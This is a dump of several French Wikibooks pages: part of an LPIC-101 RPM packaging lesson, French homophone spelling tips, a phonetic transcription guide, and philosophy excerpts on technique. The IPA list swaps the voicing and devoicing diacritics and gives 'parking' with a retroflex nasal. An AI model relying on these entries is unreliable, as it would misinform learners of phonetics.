les paquets installés, utilisez rpmqpack. $ rpmqpack === Installation de Sources === Les fichiers RPM sources ont généralement le format paquet.src.rpm et peuvent être installés de la même façon que les binaires. Les répertoires à partir desquels ils seront installés dans /usr/src/packages/ sont: * SOURCES: Pour les sources originales. * SPECS: Pour le fichier .spec qui contrôle le processus de construction du rpm. * BUILD: Toutes les sources sont construites dans ce répertoire. * RPMS: Où le paquet binaire sera stocké. * SRPMS: Les sources. Pour installer les sources d'un paquet, jouez la commande: $ rpm -i monpaquet.src.rpm Les fichiers sources seront placés dans /usr/src/packages dans les répertoires SPEC et SOURCES. Pour compiler les sources, jouez la commande: $ rpm -ba /usr/src/packages/SPECS/monpaquet.spec Le résultat de la compilation sera placé dans le répertoire BUILD. === Exercices === * [[Solution des exercices (LPIC101)|Solution des exercices]] # Le paquet apache est-il installé? # Dans quel paquets peut-on trouver les fichiers /bin/ls, /usr/sbin/tcpdump, et /sbin/ifconfig? # A partir d'une disquette, installez l'utilitaire pci et le paquet grub. Construisez le binaire et exécutez-le. Le binaire devrait se trouver dans le répertoire /usr/src/packages/BINARY. [[en:LPI Linux Certification/LPIC1 Exam 101/Linux Installation & Package Management]] Français/A et À 669 25378 2005-11-11T23:13:45Z Esope 99 [[A et À]] déplacé vers [[Français/A et À]] {{Français Syntaxe}} ==Astuce== '''A et À''' #Si '''a''' peut se remplacer par '''avait''', il s'écrit sans accent.<br/> #* Il '''a''' une montre. // Il '''avait''' une montre. #Si '''à''' ne peut pas se remplacer par '''avait''', il faut écrire un accent.<br/> #* J'ai parlé '''à''' vos amis. ==Explication grammaticale== "'''a'''", sans accent, est la troisième personne du singulier à l'indicatif présent du verbe '''[[Conjugaison d'avoir|avoir]]''', tandis qu'"'''à'''" est une préposition. La construction logique d'une phrase verbale (contenant au minimum un sujet et un verbe, ainsi qu'un complément pour les verbes qui le requiert, comme '''avoir''') permet donc également de savoir s'il faut écrire ou non un accent. Exemple : {| border=1 cellpading=7 align=center |align=center| Il ||align=center| '''a''' écrit ||align=center| une lettre ||align=center|'''à''' son ami |- |align=center| Sujet || align=center| '''Verbe''' ||align=center| Complément d'objet direct ||align=center| '''Complément d'objet indirect''' |} {{Français}} [[Catégorie:Français]] Français/ET et EST 670 25387 2005-11-11T23:48:34Z Esope 99 [[ET et EST]] déplacé vers [[Français/ET et EST]] {{Français Syntaxe}} ==Astuce== ''' ET et EST''' #On écrit '''et''' quand on peut le remplacer par '''ainsi que''' (ou par '''et puis'''). #* La voiture '''et''' la moto sont en panne ! // La voiture '''ainsi que''' la moto sont en panne ! #On écrit '''est''' quand on peut le remplacer par '''était'''. #*Cette montre '''est''' belle. // Cette montre '''était''' belle. ==Explication grammaticale== "'''et'''" est une conjonction de coordination, tandis que "'''est'''" est la troisième personne du singulier du verbe [[Conjugaison d'être|'''être''']]. On utilise donc "'''et'''" pour mettre deux idées, grammaticalement identiques (deux propositions, deux groupes nominaux, deux adverbes, ...) sur un même pied d'égalité, alors que "'''est'''" servira soit comme verbe d'état, base d'une proposition, soit comme auxiliaire d'une base. Exemple : {| border=1 cellpading=7 align=center |align=center| Il ||align=center| '''est''' ||align=center| adorable '''et''' serviable |- |align=center| Sujet || align=center| '''Verbe''' ||align=center| Attributs '''coordonnés''' |} {{Français}} [[Catégorie:Français]] Français/OU et Où 671 25389 2005-11-11T23:48:42Z Esope 99 [[OU et Où]] déplacé vers [[Français/OU et Où]] {{Français Syntaxe}} ==Astuce== '''OU et OÙ''' #'''Ou''' est sans accent quand on peut le remplacer par '''ou bien'''. #* Était-ce une voiture '''ou''' une moto ? // Était-ce une voiture '''ou bien''' une moto ? #'''Où''' prend un accent si on ne peut pas le remplacer par '''ou bien'''. #* Où es-tu? ==Explication grammaticale== "'''ou'''", sans accent, est une conjonction de coordination, tandis que "'''où'''", avec un accent grave sur le "u", est un mot interrogatif, un pronom relatif ou un pronom interrogatif de lieu. On utilise donc "'''ou'''" pour mettre deux idées, grammaticalement identiques (deux propositions, deux groupes nominaux, deux adverbes, ...), en alternative, et "'''où'''" pour demander un lieu (mot ou pronom interrogatif) ou bien pour préciser un lieu (pronom relatif). Exemple : {| border=1 cellpading=7 align=center |align=center| Ludovic '''ou''' Nadia ||align=center| se demande ||align=center| '''où''' acheter des vêtements. |- |align=center| Sujets '''coordonnés''' || align=center| Verbe ||align=center| Complément d'objet direct marquant une '''question''' indirecte |} ''Remarques'' : * Si "'''ou'''" coordonne deux (groupes de) mots dont on a besoin de connaître le nombre pour un accord (sujet-verbe comme dans l'exemple du dessus, ou forme composée utilisée avec l'auxiliaire [[Conjugaison d'avoir|avoir]] précédée de son complément d'objet direct, ...), on utilisera le singulier ou bien le pluriel selon le sens : le singulier si le "ou" est exclusif ("l'un ou l'autre, mais pas les deux", le pluriel sinon. * Dans une négation, "'''ou'''" devient "'''ni'''" {{français}} Français/ON et ONT 672 25391 2005-11-11T23:48:57Z Esope 99 [[ON et ONT]] déplacé vers [[Français/ON et ONT]] {{Français Syntaxe}} ==Astuce== '''ON et ONT''' #'''On''' s'écrit sans '''t''' quand on peut le remplacer par '''il'''. #* '''On''' a volé ma moto. // '''Il''' a volé ma moto. #'''Ont''' s'écrit avec un '''t''' quand on peut le remplacer par '''avaient'''. #* Ils '''ont''' de belles motos. // Ils '''avaient''' de belles motos. ==Explication grammaticale== "'''on'''" est un pronom indéfini sujet (il sert souvent, en français, à éviter une tournure passive), tandis que "'''ont'''" est la troisième personne du pluriel à l'indicatif présent du verbe [[Conjugaison d'avoir|avoir]]. La construction logique d'une phrase verbale (contenant au minimum un sujet et un verbe, ainsi qu'un complément pour les verbes qui le requiert, comme '''avoir''') permet donc également de savoir s'il faut ou non un "t". Exemple : {| border=1 cellpading=7 align=center |align=center| '''On''' ||align=center| a dit ||align=center| que mes amis '''ont''' une nouvelle voiture |- |align=center| '''Sujet''' || align=center| Base de la proposition principale ||align=center| Subordonnée complément d'objet direct dont "ont" est le '''verbe''' de base |} {{Français}} Petit guide de transcription phonétique 676 12360 2005-06-19T04:28:45Z 220.150.117.125 # Pour transcrire en [[w:Alphabet phonétique international|Alphabet Phonétique International]] (API) un texte écrit, il est conseillé dans un premier temps de le lire plusieurs fois d'une manière aussi proche que possible de l'oral ordinaire. Le travail depuis un enregistrement préalable est grandement recommandé. # Il convient de respecter très précisément les caractères de l'API, et de n'utiliser aucun signe externe à celui-ci. De même, l'usage des majuscules n'est autorisé que si le caractère correspondant de l'API le requiert. Une transcription informatique requiert l'usage des caractères [[w:Unicode|Unicode]]. # Il est conseillé de ne pas transcrire mot à mot, mais par groupe de mots enchaînés. # Il est obligatoire de transcrire les liaisons usuelles. Les liaisons facultatives ne doivent être transcrites que si le locuteur originel, ou vous-même faites ces liaisons. # Une transcription phonétique débute et termine obligatoirement par des crochets. # Les signes de ponctuation doivent être absolument proscrits de toute transcription phonétique, car ils n'ont, dans ce cas, aucun sens, et peuvent porter à confusion avec des caractères de l'API. # Les pauses simples doivent être indiquées avec une barre simple ( | ), les doubles pauses par une double barre ( || ). # L'intonation est indiquée par un codage spécifique. # La typographie d'un texte ne doit pas être respectée, et les sauts de lignes sont proscrits. # Les signes diacritiques doivent être utilisés en cas de particularité phonétique d'un son. Symboles de l'Alphabet Phonétique International utilisés dans la transcription du français 677 12361 2005-06-14T15:25:42Z 193.49.124.107 /* Les signes diacritiques */ Seront listés dans ce guide les symboles de l'Alphabet Phonétique International utilisés dans la transcription du français, sous cette forme : * ''symbole'' [transcription phonétique de l'exemple] "exemple de morphème contenant la réalisation phonique transcrite] == Les réalisations vocaliques orales == * i [gi] "gui" * e [kle] "clé" * ɛ [pɛʁ] "père" * a [kal] "cale" * ɑ [pɑl] "pâle" * ɔ [pɔʁ] "port" * o [bo] "beau" * u [pu] "poux" * y [ely] "élu" * œ [pœʁ] "peur" * ø [pø] "peu" == Les réalisations vocaliques nasalisées (oro-nasales) == * œ˜ [œ˜] "un" * ɔ˜ [dɔ˜] "don" * ɛ˜ [ɛ˜] "vin" * ɑ˜ [blɑ˜] "blanc" == Les réalisations consonnantiques == * p [piʁ] "pire" * b [bu] "bout" * t [tas] "tasse" * d [dada] "dada" * k [kap] "cap" * g [gaʁ] "gare" * f [fø] "feu" * v [vit] "vite" * ʃ [ʃa] "chat" * ʒ [ʒø] "jeu" * s [sal] "sale" * z [zeʁo] "zéro" * l [liʁ] "lire" * r [ru] "roue" (variation linguistique du phonème /r/ en français) * ʁ [ʁu] "roue" * ʀ [ʀu] "roue" (variation linguistique du phonème /r/ en français) * m [miz] "mise" * n [ny] "nu" * ɲ [aɲo] "agneau" * ɳ [paʁkiɳ] "parking" == Les réalisations semiconsonnantiques (ou glides) == * j [jota] "iota" * ɥ [lɥi] "lui" * w [lwi] "Louis" == Les signes diacritiques == * d'allongement [:] * d'intensité ['] * de nasalité [˜] * de dévoisement [&nbsp; ̬] * de voisement [&nbsp; ̥] Philosophie/Technique 680 46039 2006-06-27T18:19:22Z Guillaumito 46 [[Technique]] déplacé vers [[Philosophie/Technique]]: Convention de nommage {{SommairePhilo}} La technique est un procédé, un savoir-faire. Le mot vient du grec ''techne''. == Origine de la technique == Pour vivre, l'homme a eu besoin d'inventer. la nessicete est mere de l'invention == Technique et science == *La technique précède la science. *Les applications de la science == La technique est-elle une activité neutre ? == == Dissertations == la technique est-elle une activité neutre? == Bibliographie == *Descartes, ''Discours de la méthode'' == Textes == PLATON PROTAGORAS. — Il y a eu un temps où les dieux existaient seuls, et où il n'y avait encore aucun être mortel. Lorsque le temps destiné à la création de ces derniers fut venu, les dieux les formèrent dans les entrailles de la terre, en mêlant ensemble la terre et le feu et les deux autres éléments qui entrent dans la composition de ces deux premiers éléments. Mais avant que de les laisser paraître à la lumière, ils ordonnèrent à Prométhée et à Épiméthée de les orner et de leur distribuer toutes les qualités convenables. Épiméthée pria Prométhée de permettre qu'il fît seul cette distribution, à condition, dit-il, que tu l'examineras quand je l'aurai faite. Prométhée y consentit. Voilà donc Épiméthée en fonction. Il distribue aux uns la force sans la vitesse, et aux autres la vitesse sans la force. Il donne des armes naturelles à ceux-ci; et à ceux-là il leur refuse des armes, mais il leur donne d'autres moyens de se conserver et de se garantir. À ceux à qui il donne la petitesse de corps, il assigne les antres, les souterrains pour retraite, ou, en leur donnant des ailes, il leur montre leur asile dans les cieux. À ceux à qui il donne la grandeur en partage, cette grandeur suffit à leur conservation. Il acheva ainsi sa distribution avec le plus d'égalité qu'il lui fut possible, prenant bien garde qu'aucune de ces espèces ne pût être détruite. Après leur avoir donné tous les moyens de se garantir de la violence les uns des autres, il eut soin de les munir contre les injures de l'air et contre les rigueurs des saisons. Pour cela, il les revêtit de poils épais et de peaux serrées très capables de les défendre contre les gelées de l'hiver et contre les ardeurs de l'été, et qui, lorsqu'ils ont besoin de dormir, leur servent de couvertures. [...] Cela fait, il leur assigna à chacun leur nourriture : à ceux-là les herbes, à ceux-ci les fruits des arbres, à d'autres les racines, et il y eut telle espèce à qui il permit de se nourrir de la chair des autres animaux; mais, pour cette espèce, il la rendit peu féconde, et accorda une grande fécondité à celles qui devaient la nourrir, afin qu'elle se conservât. Mais comme Épiméthée n'était pas fort prudent, il ne prit pas garde qu'enfin il avait employé toutes les qualités pour les animaux privés de raison, et qu'il lui restait encore à pourvoir l'homme. Il ne savait donc quel parti prendre, lorsque Prométhée arriva pour voir le partage qu'il avait fait. Il vit tous les animaux parfaitement partagés, mais il trouva l'homme tout nu, n'ayant ni armes, ni chaussures, ni couvertures. Déjà paraissait le jour destiné pour tirer l'homme du sein de la terre et pour le produire à la lumière du soleil; et Prométhée ne savait que faire pour donner à l'homme les moyens de se conserver. Enfin voici l'expédient dont il s'avisa : il déroba à Héphaïstos et à Athéna2 le secret des arts et le feu (car sans le feu cette science ne pouvait être possédée : elle aurait été inutile), et il en fit présent à l'homme. Voilà de quelle manière l'homme reçut la science de conserver sa vie. Protagoras, 320c-321d ARISTOTE Anaxagore prétend que c'est parce qu'il a des mains que l'homme est le plus intelligent des animaux. Ce qui est rationnel, plutôt, c'est de dire qu'il a des mains parce qu'il est le plus intelligent. Car la main est un outil ; or la nature attribue toujours, comme le ferait un homme sage, chaque organe à qui est capable de s'en servir. Ce qui convient, en effet, c'est de donner des flûtes au flûtiste, plutôt que d'apprendre à jouer à qui possède des flûtes. C'est toujours le plus petit que la nature ajoute au plus grand et au plus puissant, et non pas le plus précieux et le plus grand au plus petit. Si donc cette façon de faire est préférable, si la nature réalise parmi les possibles celui qui est le meilleur, ce n'est pas parce qu'il a des mains que l'homme est le plus intelligent des êtres, mais c'est parce qu'il est le plus intelligent qu'il a des mains. En effet, l'être le plus intelligent est celui qui est capable de bien utiliser le plus grand nombre d'outils : or, la main semble bien être non pas un outil, mais plusieurs. Car elle est pour ainsi dire un outil qui tient lieu des autres. C'est donc à l'être capable d'acquérir le plus grand nombre de techniques que la nature a donné l'outil de loin le plus utile, la main. Aussi, ceux qui disent que l'homme n'est pas bien constitué et qu'il est le moins bien partagé des animaux (parce que, dit-on, il est sans chaussures, il est nu et il n'a pas d'armes pour combattre) sont dans l'erreur. Car les autres animaux n'ont chacun qu'un seul moyen de défense et il ne leur est pas possible de le changer pour faire n'importe quoi d'autre, et ne doivent jamais déposer l'armure qu'ils ont autour de leur corps ni changer l'arme qu'ils ont reçue en partage. L'homme, au contraire, possède de nombreux moyens de défense, et il lui est toujours loisible d'en changer et même d'avoir l'arme qu'il veut et quand il le veut. Car la main devient griffe, serre, corne, ou lance, ou épée, ou toute autre arme ou outil. Elle peut être tout cela, parce qu'elle est capable de tout saisir et de tout tenir. La forme même que la nature a imaginée pour la main est adaptée à cette fonction. Elle est, en effet, divisée en plusieurs parties. Et le fait que ces parties peuvent s'écarter implique aussi pour elles la faculté de se réunir, tandis que la réciproque n'est pas vraie. Il est possible de s'en servir comme d'un organe unique, double ou multiple. Les parties des animaux, 687 b, trad. P. Louis, Paris, Les Belles Lettres, pp. 136-137. DESCARTES Sitôt que j'ai eu acquis quelques notions générales touchant la physique, et que, commençant à les éprouver en diverses difficultés particulières, j'ai remarqué jusques où elles peuvent conduire, et combien elles différent des principes dont on s'est servi jusqu'à présent, j'ai cru que je ne pouvais les tenir cachées sans pécher grandement contre la loi qui nous oblige à procurer, autant qu'il est en nous, le bien général de tous les hommes. Car elles m'ont fait voir qu'il est possible de parvenir à des connaissances qui soient fort utiles à la vie, et qu'au lieu de cette philosophie spéculative qu'on enseigne dans les écoles, on en peut trouver une pratique, par laquelle, connaissant la force et les actions du feu, de l'eau, de l'air, des astres, des cieux et de tous les autres corps qui nous environnent, aussi distinctement que nous connaissons les divers métiers de nos artisans, nous les pourrions employer en même façon à tous les usages auxquels ils sont propres, et ainsi nous rendre comme maîtres et possesseurs de la nature. Ce qui n'est pas seulement à désirer pour l'invention d'une infinité d'artifices qui feraient qu'on jouirait, sans aucune peine, des fruits de la terre et de toutes les commodités qui s'y trouvent, mais principalement aussi pour la conservation de la santé, laquelle est sans doute le premier bien et le fondement de tous les autres biens de cette vie; car même l'esprit dépend si fort du tempérament et de la disposition des organes du corps que, s'il est possible de trouver quelque moyen qui rende communément les hommes plus sages et plus habiles qu'ils n'ont été jusqu'ici, je crois que c'est dans la médecine qu'on doit le chercher. Il est vrai que celle qui est maintenant en usage contient peu de choses dont l'utilité soit si remarquable; mais, sans que j'aie aucun dessein de la mépriser, je m'assure qu'il n'y a personne, même de ceux qui en font profession, qui n'avoue que tout ce qu'on y sait n'est presque rien à comparaison de ce qui reste à y savoir, et qu'on se pourrait exempter d'une infinité de maladies, tant du corps que de l'esprit, et même aussi peut-être de l'affaiblissement de la vieillesse, si on avait assez de connaissance de leurs causes et de tous les remèdes dont la nature nous a pourvus. Or, ayant dessein d'employer toute ma vie à la recherche d'une science si nécessaire, et ayant rencontré un chemin qui me semble tel qu'on doit infailliblement la trouver en le suivant, si ce n'est qu'on en soit empêché, ou par la brièveté de la vie ou par le défaut des expériences, je jugeais qu'il n'y avait point de meilleur remède contre ces deux empêchements que de communiquer fidèlement au public tout le peu que j'aurais trouvé, et de convier les bons esprits à tâcher de passer plus outre, en contribuant, chacun selon son inclination et son pouvoir, aux expériences qu'il faudrait faire, et communiquant aussi au public toutes les choses qu'ils apprendraient, afin que, les derniers commençant où les précédents auraient achevé, et ainsi joignant les vies et les travaux de plusieurs, nous allassions tous ensemble beaucoup plus loin que chacun en particulier ne saurait faire. Discours de la méthode (1637) sixième partie. PASCAL N'est-ce pas indignement traiter la raison de l'homme, et la mettre en parallèle avec l'instinct des animaux, puisqu'on en ôte la principale différence, qui consiste en ce que les effets du raisonnement augmentent sans cesse, au lieu que les autres demeurent toujours dans un état égal ? Les ruches des abeilles étaient aussi bien mesurées il y a mille ans qu'aujourd'hui, et chacune d'elles forme cet hexagone aussi exactement la première fois que la dernière. Il en est de même de tout ce que les animaux produisent par ce mouvement occulte. La nature les instruit à mesure que la nécessité les presse; mais cette science fragile se perd avec les besoins qu'elles en ont. Comme ils la reçoivent sans étude, ils n'ont pas le bonheur de la conserver; et toutes les fois qu'elle leur est donnée, elle leur est nouvelle, puisque, la nature n'ayant pour objet que de maintenir les animaux dans un ordre de perfection bornée, elle leur inspire cette science nécessaire toujours égale, de peur qu'ils ne tombent dans le dépérissement, et ne permet pas qu'ils y ajoutent, de peur qu'ils ne passent les limites qu'elle leur a prescrites. Il n'en est pas de même de l'homme, qui n'est produit que pour l'infinité. Il est dans l'ignorance au premier âge de sa vie; mais il s'instruit sans cesse dans son progrès : car il tire avantage non seulement de sa propre expérience, mais encore de celle de ses prédécesseurs, parce qu'il conserve toujours dans sa mémoire les connaissances qu'il s'est une fois acquises, et que celles des anciens lui sont toujours présentes dans les livres qu'ils en ont laissés. Et comme il conserve ces connaissances, il peut aussi les augmenter facilement; de sorte que les hommes sont aujourd'hui en quelque sorte dans le même état où se trouveraient ces anciens philosophes, s'ils pouvaient avoir vieilli jusques à présent, en ajoutant aux connaissances qu'ils avaient celles que leurs études leur auraient pu acquérir à la faveur de tant de siècles. De là vient que, par une prérogative particulière, non seulement chacun des hommes s'avance de jour en jour dans les sciences, mais que tous les hommes ensemble y font un continuel progrès à mesure que l'univers vieillit, parce que la même chose arrive dans la succession des hommes que dans les âges différents d'un particulier. De sorte que toute la suite des hommes, pendant le cours de tant de siècles, doit être considérée comme un même homme qui subsiste toujours et qui apprend continuellement. Préface pour le Traité du vide (1663), extrait. ROUSSEAU Tant que les hommes se contentèrent de leurs cabanes rustiques, tant qu'ils se bornèrent à coudre leurs habits de peaux avec des épines ou des arêtes, à se parer de plumes et de coquillages, à se peindre le corps de diverses couleurs, à perfectionner ou à embellir leurs arcs et leurs flèches, à tailler avec des pierres tranchantes quelques canots de pêcheurs ou quelques grossiers instruments de musique, en un mot tant qu'ils ne s'appliquèrent qu'à des ouvrages qu'un seul pouvait faire, et à des arts qui n'avaient pas besoin du concours de plusieurs mains, ils vécurent libres, sains, bons et heureux autant qu'ils pouvaient l'être par leur nature, et continuèrent à jouir entre eux des douceurs d'un commerce indépendant. Mais dès l'instant qu'un homme eut besoin du secours d'un autre, dès qu'on s'aperçut qu'il était utile à un seul d'avoir des provisions pour deux, l'égalité disparut, la propriété s'introduisit, le travail devint nécessaire et les vastes forêts se changèrent en des campagnes riantes qu'il fallut arroser de la sueur des hommes, et dans lesquelles on vit bientôt l'esclavage et la misère germer et croître avec les moissons. La métallurgie et l'agriculture furent les deux arts dont l'invention produisit cette grande révolution. Pour le poète, c'est l'or et l'argent, mais pour le philosophe ce sont le fer et le blé qui ont civilisé les hommes et perdu le genre humain. Aussi l'un et l'autre étaient-ils inconnus aux sauvages de l'Amérique qui, pour cela, sont toujours demeurés tels; les autres peuples semblent même être restés barbares tant qu'ils ont pratiqué l'un de ces arts sans l'autre; et l'une des meilleures raisons peut-être pourquoi l'Europe a été, sinon plus tôt, du moins plus constamment et mieux policée que les autres parties du monde, c'est qu'elle est à la fois la plus abondante en fer et la plus fertile en blé. Discours sur l'origine et les fondements de l'inégalité parmi les hommes (1755), 2ème partie. BERGSON Que le mysticisme appelle l'ascétisme, cela n'est pas douteux. L'un et l'autre seront toujours l'apanage d'un petit nombre. Mais que le mysticisme vrai, complet, agissant, aspire à se répandre, en vertu de la charité qui en est l'essence, cela est non moins certain. Comment se propagerait-il, même dilué et atténué comme il le sera nécessairement, dans une humanité absorbée par la crainte de ne pas manger à sa faim ? L'homme ne se soulèvera au-dessus de la terre que si un outillage puissant lui fournit le point d'appui. Il devra peser sur la matière s'il veut se détacher d'elle. En d'autres termes, la mystique appelle la mécanique. On ne l'a pas assez remarqué, parce que la mécanique, par un accident d'aiguillage, a été lancée sur une voie au bout de laquelle étaient le bien-être exagéré et le luxe pour un certain nombre plutôt que la libération pour tous. Nous sommes frappés du résultat accidentel, nous ne voyons pas le machinisme dans ce qu'il devait être, dans ce qui en fait l'essence. Allons plus loin. Si nos organes sont des instrument naturels, nos instruments sont par là même des organes artificiels. L'outil de l'ouvrier continue son bras ; l'outillage de l'humanité est donc un prolongement de son corps. La nature, en nous dotant dune intelligence essentiellement fabricatrice, avait ainsi préparé pour nous un certain agrandissement. Mais des machines qui marchent au pétrole, au charbon, à la "houille blanche", et qui convertissent en mouvement des énergies potentielles accumulées pendant des millions d'années, sont venues donner à notre organisme une extension si vaste et une puissance si formidable, si disproportionnée à sa dimension et à sa force, que sûrement il n'en avait rien été prévu dans le plan de structure de notre espèce : ce fut une chance unique, la plus grande réussite matérielle de l'homme sur la planète. Une impulsion spirituelle avait peut-être été imprimée au début : l'extension s'était faite automatiquement, servie par le coup de pioche accidentel qui heurta sous terre un trésor miraculeux. Or, dans ce corps démesurément grossi, l'âme reste ce qu'elle était, trop petite maintenant pour le remplir, trop faible pour le diriger. D'où le vide entre lui et elle. D'où les redoutables problèmes sociaux, politiques, internationaux, qui sont autant de définitions de ce vide et qui, pour le combler, provoquent aujourd'hui tant d'efforts désordonnés et inefficaces : il y faudrait de nouvelles réserves d'énergie potentielle, cette fois morale. Ne nous bornons donc pas à dire, comme nous le faisions plus haut, que la mystique appelle la mécanique. Ajoutons que le corps agrandi attend un supplément d'âme, et que la mécanique exigerait une mystique. Les origines de cette mécanique sont peut-être plus mystiques qu'on ne le croirait ; elle ne retrouvera sa direction vraie, elle ne rendra des services proportionnés à sa puissance, que si l'humanité qu'elle a courbée encore davantage vers la terre arrive par elle à se redresser, et à regarder le ciel". Les deux sources de la morale et de la religion in Oeuvres, PUF, pp. 1238-1239. HEIDEGGER Qu'est-ce que la technique moderne ? Elle aussi est un dévoilement. C'est seulement lorsque nous arrêtons notre regard sur ce trait fondamental que ce qu'il y a de nouveau dans la technique moderne se montre à nous. Le dévoilement, cependant, qui régit la technique moderne, ne se déploie pas en une pro-duction au sens de la poïesis. Le dévoilement qui régit la technique moderne est une pro-vocation, par laquelle la nature est mise en demeure de livrer une énergie qui puisse comme telle être extraite et accumulée. Mais ne peut-on en dire autant du vieux moulin à vent ? Non : ses ailes tournent bien au vent et sont livrées directement à son souffle. Mais si le moulin à vent met à notre disposition l'énergie de l'air en mouvement, ce n'est pas pour l'accumuler. (...) La centrale électrique est mise en place dans le Rhin. Elle le somme de livrer sa pression hydraulique, qui somme à son tour les turbines de tourner. Ce mouvement fait tourner la machine dont le mécanisme produit le courant électrique, pour lequel la centrale régionale et son réseau sont commis aux fins de transmission. Dans le domaine de ces conséquences s'enchaînant l'une l'autre à partir de la mise en place de l'énergie électrique, le fleuve du Rhin apparaît lui aussi, comme quelque chose de commis. La centrale n'est pas construite dans le courant du Rhin comme le vieux pont de bois qui depuis des siècles unit une rive à l'autre. C'est bien plutôt le fleuve qui est muré dans la centrale. Ce qu'il est aujourd'hui comme fleuve, à savoir fournisseur de pression hydraulique, il l'est de par l'essence de la centrale. Afin de voir et de mesurer, ne fût-ce que de loin, l'élément monstrueux qui domine ici, arrêtons-nous un instant sur l'opposition qui apparaît entre les deux intitulés : "Le Rhin", muré dans l'usine d'énergie, et "Le Rhin", titre de cette oeuvre d'art qu'est un hymne de Hölderlin. Mais le Rhin, répondra-t-on, demeure de toute façon le fleuve du paysage. Soit, mais comment le demeure-t-il ? Pas autrement que comme objet pour lequel on passe une commande, l'objet d'une visite organisée par une agence de voyages, laquelle a constitué là-bas une industrie de vacances. Le dévoilement qui régit complètement la technique moderne a le caractère d'une interpellation au sens d'une pro-vocation. Essais et conférences, "La question de la technique", trad. A, Préau, Gallimard, 1988, pp. 20-22. BATAILLE Je pose en principe un fait peu contestable : que l'homme est l'animal qui n'accepte pas simplement le donné naturel, qui le nie. Il change ainsi le monde extérieur naturel, il en tire des outils et des objets fabriqués qui composent un monde nouveau, le monde humain. L'homme parallèlement se nie lui-même, il s'éduque, il refuse par exemple de donner à la satisfaction de ses besoins animaux ce cours libre, auquel l'animal n'apportait pas de réserve. Il est nécessaire encore d'accorder que les deux négations, que, d'une part, l'homme fait du monde donné et, d'autre part, de sa propre animalité, sont liées. Il ne nous appartient pas de donner une priorité à l'une ou à l'autre, de chercher si l'éducation (qui apparaît sous la forme des interdits religieux) est la conséquence du travail, ou le travail la conséquence d'une mutation morale. Mais en tant qu'il y a homme, il y a d'une part travail et de l'autre négation par interdits de l'animalité de l'homme>>. L'érotisme in OC, t. X, Gallimard, p. 212. SIMONDON L'opposition dressée entre la culture et la technique, entre l'homme et la machine, est fausse et sans fondement ; elle ne recouvre qu'ignorance ou ressentiment. Elle masque derrière un facile humanisme une réalité riche en efforts humains et en forces naturelles, et qui constitue le monde des objets techniques, médiateurs entre la nature et l'homme. La culture se conduit envers l'objet technique comme l'homme envers l'étranger quand il se laisse emporter par la xénophobie primitive. Le misonéisme orienté contre les machines n'est pas tant haine du nouveau que refus de la réalité étrangère. Or, cet être étranger est encore humain, et la culture complète est ce qui permet de découvrir l'étranger comme humain. De même, la machine est l'étrangère ; c'est l'étrangère en laquelle est enfermé de l'humain, méconnu, matérialisé, asservi, mais restant pourtant de l'humain. La plus forte cause d'aliénation dans le monde contemporain réside dans cette méconnaissance de la machine, qui n'est pas une aliénation causée par la machine, mais par la non connaissance de sa nature et de son essence, par son absence du monde des significations, et par son omission dans la table des valeurs et des concepts faisant partie de la culture. [...] En fait, cette contradiction inhérente à la culture provient de l'ambiguïté des idées relatives à l'automatisme, en lesquelles se cache une véritable faute logique. Les idolâtres de la machine présentent en général le degré de perfection d'une machine comme proportionnel au degré d'automatisme. Dépassant ce que l'expérience montre, ils supposent que, par un accroissement et un perfectionnement de l'automatisme, on arriverait à réunir et à interconnecter toutes les machines entre elles, de manière à constituer une machine de toutes les machines. Or, en fait, l'automatisme est un assez bas degré de perfection technique. Pour rendre une machine automatique, il faut sacrifier bien des possibilités de fonctionnement, bien des usages possibles. L'automatisme, et son utilisation sous forme d'organisation industrielle que l'on nomme automation, possède une signification économique ou sociale plus qu'une signification technique. Le véritable perfectionnement des machines, celui dont on peut dire qu'il élève le degré de technicité, correspond non pas à un accroissement de l'automatisme, mais au contraire au fait que le fonctionnement d'une machine recèle une certaine marge d'indétermination. C'est cette marge qui permet à la machine d'être sensible à une information extérieure. C'est par cette sensibilité des machines à de l'information qu'un ensemble technique peut se réaliser, bien plus que par une augmentation de l'automatisme. Une machine purement automatique, complètement fermée sur elle-même, dans un fonctionnement prédéterminé, ne pourrait donner que des résultats sommaires. La machine qui est douée d'une haute technicité est une machine ouverte, et l'ensemble des machines ouvertes suppose l'homme comme organisateur permanent, comme interprète vivant des machines les unes par rapport aux autres. Loin d'être le surveillant d'une troupe d'esclaves, l'homme est l'organisateur permanent d'une société des objets techniques qui ont besoin de lui comme les musiciens ont besoin du chef d'orchestre". Du mode d'existence des objets techniques, Aubier, pp. 9-11 Français/SON et SONT 681 25393 2005-11-11T23:49:40Z Esope 99 [[SON et SONT]] déplacé vers [[Français/SON et SONT]] {{Français Syntaxe}} ==Astuce== '''SON et SONT''' #'''Son''' s'écrit devant un nom quand il peut être remplacé par '''mon'''. #* La voiture est dans '''son''' garage. // La voiture est dans '''mon''' garage. #'''Sont''' est utilisé quand on peut le remplacer par '''étaient'''. #* Ils '''sont''' partis. // Ils '''étaient''' partis. ==Explication grammaticale== "'''son'''" est un déterminant (ou adjectif) possessif, tandis que "'''sont'''" est la troisième personne du pluriel à l'indicatif présent du verbe [[Conjugaison d'être|'''être''']]. Le premier précédera donc toujours un substantif (il pourra ainsi se trouver dans quasi n'importe quel groupe grammatical), alors que le second sera toujours la base d'une proposition ou l'auxiliaire d'un verbe à un temps composé. Exemple : {| border=1 cellpading=7 align=center |align=center colspan=3| ''Où puis-je trouver les clefs de Martin ?'' |- |align=center| Elles ||align=center| '''sont''' ||align=center| sur '''son''' bureau. |- |align=center| Sujet || align=center| '''Verbe''' ||align=center| Complément circonstanciel de lieu (son bureau = le bureau de Martin) |} {{Français}} Français/CE et SE 682 25395 2005-11-11T23:50:29Z Esope 99 [[CE et SE]] déplacé vers [[Français/CE et SE]] {{Français Syntaxe}} ==Astuce== '''CE et SE''' #'''Se''' est employé devant un verbe promonimal. En conjugant on peut le remplacer par '''me''', '''te''', '''nous''' ou '''vous'''. #* Il '''se''' presse. // Je '''me''' presse. #'''Ce''' s'écrit dans les autres cas. #* '''Ce''' matin. #* '''ce''' qui m'inquiète... ==Explication grammaticale== "'''se'''" est un pronom réfléchi de la troisième personne (singulier ou pluriel ; il sert également à l'infinitif), tandis que "'''ce'''" est un adjectif (ou déterminant) ou pronom démonstratif. Le premier sera donc toujours accompagné d'un verbe et d'un sujet, tandis que le deuxième précédera un substantif ou sera sujet (si le pronom occupe d'autres fonctions, on utilisera ''cela'', ''ceci'', ''c{{'}}'', ou, en langage parlé, ''ça''). Exemple : {| border=1 cellpading=7 align=center |align=center| Il ||align=center| '''se''' demande ||align=center| à qui est 